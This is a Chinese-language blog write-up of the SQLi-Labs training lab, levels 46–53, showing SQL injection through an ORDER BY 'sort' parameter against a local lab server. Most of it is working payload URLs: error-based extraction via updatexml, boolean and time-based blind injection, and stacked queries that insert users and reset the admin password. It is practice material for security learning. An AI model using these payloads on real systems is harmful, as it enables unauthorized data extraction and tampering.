[靶场] SQLi-Labs Less46-Less53

提供主要的语句,略去探测数据库名,表名,字段名的步骤。 

50.Less46

请求方式注入方式类型备注
GET报错注入整型注入点在order by处

1. 正常提交

http://127.0.0.1:8003/Less-46/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-46/?sort=1 1'2"3
http://127.0.0.1:8003/Less-46/?sort=1 1'
http://127.0.0.1:8003/Less-46/?sort=1 1"

http://127.0.0.1:8003/Less-46/?sort=1 --+

3. 执行注入的SQL

sleep()返回值是0。

http://127.0.0.1:8003/Less-46/?sort=(select sleep(0.2)) --+

4. 数据获取

http://127.0.0.1:8003/Less-46/?sort=(select updatexml(1,concat_ws(0x7e,0x7e,  version(), @@datadir, @@basedir, user(), database() ) ,1) ) --+

51.Less47

请求方式注入方式类型备注
GET报错注入字符型型注入点在order by处,,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-47/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-47/?sort=1 1'2"3
http://127.0.0.1:8003/Less-47/?sort=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-47/?sort=1' and  sleep(2/2/2)   --+

4. 数据获取

http://127.0.0.1:8003/Less-47/?sort=1' and updatexml(1,  concat(0x7e, database())  ,1) --+

52.Less48

请求方式注入方式类型备注
GET盲注(布尔,延时)整型注入点在order by处

1. 正常提交

http://127.0.0.1:8003/Less-48/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-48/?sort=1 1'2"3

3. 执行注入的SQL

http://127.0.0.1:8003/Less-48/?sort=1 and if(1 ,sleep(0.2),1)  --+
http://127.0.0.1:8003/Less-48/?sort=1 and if(0 ,sleep(0.2),1)  --+

http://127.0.0.1:8003/Less-48/?sort=rand(if(1, 1, 0 ))  --+
http://127.0.0.1:8003/Less-48/?sort=rand(if(0, 1, 0 ))  --+

http://127.0.0.1:8003/Less-48/?sort=id ^(select version() regexp '^5') --+

4. 数据获取

http://127.0.0.1:8003/Less-48/?sort=rand(if(  ascii(substr( (select version()) ,1,1)) >0 , 1, 0 ))  --+

http://127.0.0.1:8003/Less-48/?sort=1 and if(ascii(substr( (select version()) ,1,1)) >0  ,sleep(0.2),1)  --+

利用异或和regexp匹配字符串。如果匹配正确,页面排序异常;否则匹配错误,页面排序正常。

http://127.0.0.1:8003/Less-48/?sort=id ^(select version() regexp '^5') --+
http://127.0.0.1:8003/Less-48/?sort=id ^(select version() regexp '^5.') --+
http://127.0.0.1:8003/Less-48/?sort=id ^(select version() regexp '^5.1') --+
http://127.0.0.1:8003/Less-48/?sort=id ^(select version() regexp '^5.2') --+

53.Less49

请求方式注入方式类型备注
GET布尔注入字符型注入点在order by处,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-49/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-49/?sort=1 1'2"3
http://127.0.0.1:8003/Less-49/?sort=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-49/?sort=1' and if(1, sleep(0.2), 1) --+
http://127.0.0.1:8003/Less-49/?sort=1' and if(0, sleep(0.2), 1) --+

4. 数据获取

同Less48的方法,使用布尔盲注,在使用BurpSuite进行爆破即可。

http://127.0.0.1:8003/Less-49/?sort=1' and if(ascii(substr( (select version()) ,1,1)) >0, sleep(0.2), 1) --+

54.Less50

请求方式注入方式类型备注
GET堆叠注入整型注入点在order by处

1. 正常提交

http://127.0.0.1:8003/Less-50/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-50/?sort=2 --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-50/?sort=1;  insert into users values (104, 'd','d'); --+

55.Less51

请求方式注入方式类型备注
GET堆叠注入字符型注入点在order by处,单引号闭合

1. 执行注入的SQL

同Less50一样,闭合为单引号闭合。

http://127.0.0.1:8003/Less-51/?sort=1';  insert into users values (105, 'e','e'); --+

56.Less52

请求方式注入方式类型备注
GET堆叠注入整型注入点在order by处

1. 正常提交

http://127.0.0.1:8003/Less-52/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-52/?sort=1 1'2"3
http://127.0.0.1:8003/Less-52/?sort=1   --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-52/?sort=1 or sleep(0.2)  --+

4. 数据获取

http://127.0.0.1:8003/Less-52/?sort=rand(if(ascii(substr( (select version())  ,1,1)) > 0, 1, 0))--+
http://127.0.0.1:8003/Less-52/?sort=rand(if(ascii(substr( (select version())  ,1,1)) > 100, 1, 0))--+

使用BurpSuite爆破即可。

57.Less53

请求方式注入方式类型备注
GET堆叠注入字符型注入点在order by处,单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-53/?sort=1

2. 语句报错

http://127.0.0.1:8003/Less-53/?sort=1 1'2"3 
http://127.0.0.1:8003/Less-53/?sort=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-53/?sort=1' ; update users set password = '22' where username='admin' ;  --+
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值